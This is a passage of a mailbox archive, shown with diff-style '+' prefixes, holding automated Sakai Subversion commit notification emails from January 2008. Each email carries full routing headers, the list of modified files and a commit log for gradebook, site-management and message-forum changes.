m04L927E007925 + for ; Fri, 4 Jan 2008 16:09:02 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04L92hb007923 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 16:09:02 -0500 +Date: Fri, 4 Jan 2008 16:09:02 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to zqian@umich.edu using -f +To: source@collab.sakaiproject.org +From: zqian@umich.edu +Subject: [sakai] svn commit: r39770 - site-manage/branches/sakai_2-5-x/site-manage-tool/tool/src/webapp/vm/sitesetup +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 16:10:39 2008 +X-DSPAM-Confidence: 0.6961 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39770 + +Author: zqian@umich.edu +Date: 2008-01-04 16:09:01 -0500 (Fri, 04 Jan 2008) +New Revision: 39770 + +Modified: +site-manage/branches/sakai_2-5-x/site-manage-tool/tool/src/webapp/vm/sitesetup/chef_site-siteInfo-list.vm +Log: +merge fix to SAK-9996 into 2-5-x branch: svn merge -r 39687:39688 https://source.sakaiproject.org/svn/site-manage/trunk/ + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From rjlowe@iupui.edu Fri Jan 4 15:46:24 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.25]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 15:46:24 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 15:46:24 -0500 +Received: from dreamcatcher.mr.itd.umich.edu (dreamcatcher.mr.itd.umich.edu [141.211.14.43]) + by panther.mail.umich.edu () with ESMTP id m04KkNbx032077; + Fri, 4 Jan 2008 15:46:23 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY dreamcatcher.mr.itd.umich.edu ID 477E9B13.2F3BC.22965 ; + 4 Jan 2008 15:46:13 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 4AE03BB552; + Fri, 4 Jan 2008 20:46:13 +0000 (GMT) +Message-ID: <200801042044.m04Kiem3007881@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 38 + for ; + Fri, 4 Jan 2008 20:45:56 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id A55D242F57 + for ; Fri, 4 Jan 2008 20:45:52 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04KieqE007883 + for ; Fri, 4 Jan 2008 15:44:40 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04Kiem3007881 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 15:44:40 -0500 +Date: Fri, 4 Jan 2008 15:44:40 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to rjlowe@iupui.edu using -f +To: source@collab.sakaiproject.org +From: rjlowe@iupui.edu +Subject: [sakai] svn commit: r39769 - in gradebook/trunk/app/ui/src: java/org/sakaiproject/tool/gradebook/ui/helpers/beans java/org/sakaiproject/tool/gradebook/ui/helpers/producers webapp/WEB-INF webapp/WEB-INF/bundle +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 15:46:24 2008 +X-DSPAM-Confidence: 0.7565 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39769 + +Author: rjlowe@iupui.edu +Date: 2008-01-04 15:44:39 -0500 (Fri, 04 Jan 2008) +New Revision: 39769 + +Modified: +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/beans/AssignmentGradeRecordBean.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/producers/GradeGradebookItemProducer.java +gradebook/trunk/app/ui/src/webapp/WEB-INF/applicationContext.xml +gradebook/trunk/app/ui/src/webapp/WEB-INF/bundle/messages.properties +gradebook/trunk/app/ui/src/webapp/WEB-INF/requestContext.xml +Log: +SAK-12180 - Fixed errors with grading helper + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From zqian@umich.edu Fri Jan 4 15:03:18 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.46]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 15:03:18 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 15:03:18 -0500 +Received: from firestarter.mr.itd.umich.edu (firestarter.mr.itd.umich.edu [141.211.14.83]) + by fan.mail.umich.edu () with ESMTP id m04K3HGF006563; + Fri, 4 Jan 2008 15:03:17 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY firestarter.mr.itd.umich.edu ID 477E9100.8F7F4.1590 ; + 4 Jan 2008 15:03:15 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 57770BB477; + Fri, 4 Jan 2008 20:03:09 +0000 (GMT) +Message-ID: <200801042001.m04K1cO0007738@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 622 + for ; + Fri, 4 Jan 2008 20:02:46 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id AB4D042F4D + for ; Fri, 4 Jan 2008 20:02:50 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04K1cXv007740 + for ; Fri, 4 Jan 2008 15:01:38 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04K1cO0007738 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 15:01:38 -0500 +Date: Fri, 4 Jan 2008 15:01:38 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to zqian@umich.edu using -f +To: source@collab.sakaiproject.org +From: zqian@umich.edu +Subject: [sakai] svn commit: r39766 - site-manage/branches/sakai_2-4-x/site-manage-tool/tool/src/java/org/sakaiproject/site/tool +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 15:03:18 2008 +X-DSPAM-Confidence: 0.7626 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39766 + +Author: zqian@umich.edu +Date: 2008-01-04 15:01:37 -0500 (Fri, 04 Jan 2008) +New Revision: 39766 + +Modified: +site-manage/branches/sakai_2-4-x/site-manage-tool/tool/src/java/org/sakaiproject/site/tool/SiteAction.java +Log: +merge fix to SAK-10788 into site-manage 2.4.x branch: + +Sakai Source Repository #38024 Wed Nov 07 14:54:46 MST 2007 zqian@umich.edu Fix to SAK-10788: If a provided id in a couse site is fake or doesn't provide any user information, Site Info appears to be like project site with empty participant list + +Watch for enrollments object being null and concatenate provider ids when there are more than one. +Files Changed +MODIFY /site-manage/trunk/site-manage-tool/tool/src/java/org/sakaiproject/site/tool/SiteAction.java + + + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From rjlowe@iupui.edu Fri Jan 4 14:50:18 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.93]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 14:50:18 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 14:50:18 -0500 +Received: from eyewitness.mr.itd.umich.edu (eyewitness.mr.itd.umich.edu [141.211.93.142]) + by mission.mail.umich.edu () with ESMTP id m04JoHJi019755; + Fri, 4 Jan 2008 14:50:17 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY eyewitness.mr.itd.umich.edu ID 477E8DF2.67B91.5278 ; + 4 Jan 2008 14:50:13 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 2D1B9BB492; + Fri, 4 Jan 2008 19:47:10 +0000 (GMT) +Message-ID: <200801041948.m04JmdwO007705@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 960 + for ; + Fri, 4 Jan 2008 19:46:50 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id B3E6742F4A + for ; Fri, 4 Jan 2008 19:49:51 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04JmeV9007707 + for ; Fri, 4 Jan 2008 14:48:40 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04JmdwO007705 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 14:48:39 -0500 +Date: Fri, 4 Jan 2008 14:48:39 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to rjlowe@iupui.edu using -f +To: source@collab.sakaiproject.org +From: rjlowe@iupui.edu +Subject: [sakai] svn commit: r39765 - in gradebook/trunk/app: business/src/java/org/sakaiproject/tool/gradebook/business business/src/java/org/sakaiproject/tool/gradebook/business/impl ui ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/beans ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/entity ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/params ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/producers ui/src/webapp/WEB-INF ui/src/webapp/WEB-INF/bundle ui/src/webapp/content/templates +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 14:50:18 2008 +X-DSPAM-Confidence: 0.7556 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39765 + +Author: rjlowe@iupui.edu +Date: 2008-01-04 14:48:37 -0500 (Fri, 04 Jan 2008) +New Revision: 39765 + +Added: +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/beans/AssignmentGradeRecordBean.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/beans/AssignmentGradeRecordCreator.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/entity/GradebookEntryGradeEntityProvider.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/params/GradeGradebookItemViewParams.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/producers/GradeGradebookItemProducer.java +gradebook/trunk/app/ui/src/webapp/content/templates/grade-gradebook-item.html +Modified: +gradebook/trunk/app/business/src/java/org/sakaiproject/tool/gradebook/business/GradebookManager.java +gradebook/trunk/app/business/src/java/org/sakaiproject/tool/gradebook/business/impl/GradebookManagerHibernateImpl.java +gradebook/trunk/app/ui/pom.xml +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/beans/GradebookItemBean.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/entity/GradebookEntryEntityProvider.java +gradebook/trunk/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/helpers/producers/AddGradebookItemProducer.java +gradebook/trunk/app/ui/src/webapp/WEB-INF/applicationContext.xml +gradebook/trunk/app/ui/src/webapp/WEB-INF/bundle/messages.properties +gradebook/trunk/app/ui/src/webapp/WEB-INF/requestContext.xml +Log: +SAK-12180 - New helper tool to grade an assignment + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From cwen@iupui.edu Fri Jan 4 11:37:30 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.46]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:37:30 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:37:30 -0500 +Received: from tadpole.mr.itd.umich.edu (tadpole.mr.itd.umich.edu [141.211.14.72]) + by fan.mail.umich.edu () with ESMTP id m04GbT9x022078; + Fri, 4 Jan 2008 11:37:29 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY tadpole.mr.itd.umich.edu ID 477E60B2.82756.9904 ; + 4 Jan 2008 11:37:09 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 8D13DBB001; + Fri, 4 Jan 2008 16:37:07 +0000 (GMT) +Message-ID: <200801041635.m04GZQGZ007313@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 120 + for ; + Fri, 4 Jan 2008 16:36:40 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id D430B42E42 + for ; Fri, 4 Jan 2008 16:36:37 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04GZQ7W007315 + for ; Fri, 4 Jan 2008 11:35:26 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04GZQGZ007313 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:35:26 -0500 +Date: Fri, 4 Jan 2008 11:35:26 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to cwen@iupui.edu using -f +To: source@collab.sakaiproject.org +From: cwen@iupui.edu +Subject: [sakai] svn commit: r39764 - in msgcntr/trunk/messageforums-app/src/java/org/sakaiproject/tool/messageforums: . ui +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:37:30 2008 +X-DSPAM-Confidence: 0.7002 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39764 + +Author: cwen@iupui.edu +Date: 2008-01-04 11:35:25 -0500 (Fri, 04 Jan 2008) +New Revision: 39764 + +Modified: +msgcntr/trunk/messageforums-app/src/java/org/sakaiproject/tool/messageforums/PrivateMessagesTool.java +msgcntr/trunk/messageforums-app/src/java/org/sakaiproject/tool/messageforums/ui/PrivateMessageDecoratedBean.java +Log: +unmerge Xingtang's checkin for SAK-12488. + +svn merge -r39558:39557 https://source.sakaiproject.org/svn/msgcntr/trunk +U messageforums-app/src/java/org/sakaiproject/tool/messageforums/PrivateMessagesTool.java +U messageforums-app/src/java/org/sakaiproject/tool/messageforums/ui/PrivateMessageDecoratedBean.java + +svn log -r 39558 +------------------------------------------------------------------------ +r39558 | hu2@iupui.edu | 2007-12-20 15:25:38 -0500 (Thu, 20 Dec 2007) | 3 lines + +SAK-12488 +when send a message to yourself. click reply to all, cc row should be null. +http://jira.sakaiproject.org/jira/browse/SAK-12488 +------------------------------------------------------------------------ + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From cwen@iupui.edu Fri Jan 4 11:35:08 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.46]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:35:08 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:35:08 -0500 +Received: from it.mr.itd.umich.edu (it.mr.itd.umich.edu [141.211.93.151]) + by fan.mail.umich.edu () with ESMTP id m04GZ6lt020480; + Fri, 4 Jan 2008 11:35:06 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY it.mr.itd.umich.edu ID 477E6033.6469D.21870 ; + 4 Jan 2008 11:35:02 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id E40FABAE5B; + Fri, 4 Jan 2008 16:34:38 +0000 (GMT) +Message-ID: <200801041633.m04GX6eG007292@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 697 + for ; + Fri, 4 Jan 2008 16:34:01 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 1CD0C42E42 + for ; Fri, 4 Jan 2008 16:34:17 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04GX6Y3007294 + for ; Fri, 4 Jan 2008 11:33:06 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04GX6eG007292 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:33:06 -0500 +Date: Fri, 4 Jan 2008 11:33:06 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to cwen@iupui.edu using -f +To: source@collab.sakaiproject.org +From: cwen@iupui.edu +Subject: [sakai] svn commit: r39763 - in msgcntr/trunk: messageforums-api/src/bundle/org/sakaiproject/api/app/messagecenter/bundle messageforums-app/src/java/org/sakaiproject/tool/messageforums +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:35:08 2008 +X-DSPAM-Confidence: 0.7615 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39763 + +Author: cwen@iupui.edu +Date: 2008-01-04 11:33:05 -0500 (Fri, 04 Jan 2008) +New Revision: 39763 + +Modified: +msgcntr/trunk/messageforums-api/src/bundle/org/sakaiproject/api/app/messagecenter/bundle/Messages.properties +msgcntr/trunk/messageforums-app/src/java/org/sakaiproject/tool/messageforums/PrivateMessagesTool.java +Log: +unmerge Xingtang's check in for SAK-12484. + +svn merge -r39571:39570 https://source.sakaiproject.org/svn/msgcntr/trunk +U messageforums-api/src/bundle/org/sakaiproject/api/app/messagecenter/bundle/Messages.properties +U messageforums-app/src/java/org/sakaiproject/tool/messageforums/PrivateMessagesTool.java + +svn log -r 39571 +------------------------------------------------------------------------ +r39571 | hu2@iupui.edu | 2007-12-20 21:26:28 -0500 (Thu, 20 Dec 2007) | 3 lines + +SAK-12484 +reply all cc list should not include the current user name. +http://jira.sakaiproject.org/jira/browse/SAK-12484 +------------------------------------------------------------------------ + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From gsilver@umich.edu Fri Jan 4 11:12:37 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.25]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:12:37 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:12:37 -0500 +Received: from holes.mr.itd.umich.edu (holes.mr.itd.umich.edu [141.211.14.79]) + by panther.mail.umich.edu () with ESMTP id m04GCaHB030887; + Fri, 4 Jan 2008 11:12:36 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY holes.mr.itd.umich.edu ID 477E5AEB.E670B.28397 ; + 4 Jan 2008 11:12:30 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 99715BAE7D; + Fri, 4 Jan 2008 16:12:27 +0000 (GMT) +Message-ID: <200801041611.m04GB1Lb007221@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 272 + for ; + Fri, 4 Jan 2008 16:12:14 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 0A6ED42DFC + for ; Fri, 4 Jan 2008 16:12:12 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04GB1Wt007223 + for ; Fri, 4 Jan 2008 11:11:01 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04GB1Lb007221 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:11:01 -0500 +Date: Fri, 4 Jan 2008 11:11:01 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to gsilver@umich.edu using -f +To: source@collab.sakaiproject.org +From: gsilver@umich.edu +Subject: [sakai] svn commit: r39762 - web/trunk/web-tool/tool/src/bundle +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:12:37 2008 +X-DSPAM-Confidence: 0.7601 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39762 + +Author: gsilver@umich.edu +Date: 2008-01-04 11:11:00 -0500 (Fri, 04 Jan 2008) +New Revision: 39762 + +Modified: +web/trunk/web-tool/tool/src/bundle/iframe.properties +Log: +SAK-12596 +http://bugs.sakaiproject.org/jira/browse/SAK-12596 +- left moot (unused) entries commented for now + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From gsilver@umich.edu Fri Jan 4 11:11:52 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.36]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:11:52 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:11:52 -0500 +Received: from creepshow.mr.itd.umich.edu (creepshow.mr.itd.umich.edu [141.211.14.84]) + by godsend.mail.umich.edu () with ESMTP id m04GBqqv025330; + Fri, 4 Jan 2008 11:11:52 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY creepshow.mr.itd.umich.edu ID 477E5AB3.5CC32.30840 ; + 4 Jan 2008 11:11:34 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 62AA4BAE46; + Fri, 4 Jan 2008 16:11:31 +0000 (GMT) +Message-ID: <200801041610.m04GA5KP007209@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 1006 + for ; + Fri, 4 Jan 2008 16:11:18 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id C596A3DFA2 + for ; Fri, 4 Jan 2008 16:11:16 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m04GA5LR007211 + for ; Fri, 4 Jan 2008 11:10:05 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m04GA5KP007209 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 11:10:05 -0500 +Date: Fri, 4 Jan 2008 11:10:05 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to gsilver@umich.edu using -f +To: source@collab.sakaiproject.org +From: gsilver@umich.edu +Subject: [sakai] svn commit: r39761 - site/trunk/site-tool/tool/src/bundle +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 11:11:52 2008 +X-DSPAM-Confidence: 0.7605 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39761 + +Author: gsilver@umich.edu +Date: 2008-01-04 11:10:04 -0500 (Fri, 04 Jan 2008) +New Revision: 39761 + +Modified: +site/trunk/site-tool/tool/src/bundle/admin.properties +Log: +SAK-12595 +http://bugs.sakaiproject.org/jira/browse/SAK-12595 +- left moot (unused) entries commented for now + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From zqian@umich.edu Fri Jan 4 11:11:03 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.97]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 11:11:03 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 11:11:03 -0500 +Received: from carrie.mr.itd.umich.edu (carrie.mr.itd.umich.edu [141.211.93.152]) + by sleepers.mail.umich.edu () with ESMTP id m04GB3Vg011502; + Fri, 4 Jan 2008 11:11:03 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY carrie.mr.itd.umich.edu ID 477E5A8D.B378F.24200 ; + 4 Jan 2008 11:10:56 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id C7251BAD44; + Fri, 4 Jan 2008 16:10:53 +0000 (GMT) +Message-ID: <200801041609.m04G9EuX007197@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 483 + for ; + Fri, 4 Jan 2008 16:10:27 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 2E7043DFA2 + for ; Fri, 4 Jan 2008 16:10:26 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) 